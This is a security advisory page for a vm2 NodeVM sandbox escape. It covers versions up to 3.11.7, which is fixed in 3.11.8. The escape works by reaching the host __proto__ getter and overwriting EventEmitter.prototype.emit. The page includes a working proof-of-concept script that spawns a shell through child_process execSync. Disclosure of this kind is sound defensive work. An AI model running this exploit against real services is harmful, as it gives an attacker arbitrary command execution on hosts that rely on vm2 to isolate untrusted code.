vm2: Sandbox Escape (NodeVM)
What fixes it
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
It being possible to obtain the host __proto__ getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console._stdout/console._stderr is:
_stdout / _stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter
process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);Text from GitHub Advisory Database
Affected versions 4
- vm2, npm<= 3.11.7GitHub
- vm2affected: all versions before 3.11.8CVE List
- vm2unaffected: 3.11.8CVE List
- vm2, npmfrom first release, fixed in 3.11.8OSV
References 8
- github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290Fixvia GitHub
- github.com/patriksimek/vm2/releases/tag/v3.11.8Fixvia GitHub
- vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevmAdvisoryvia CVE List
- github.com/advisories/GHSA-88hf-g992-jg85Advisoryvia GitHub
- github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85Exploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-92955Referencevia GitHub
- github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989Referencevia GitHub
- github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440Referencevia GitHub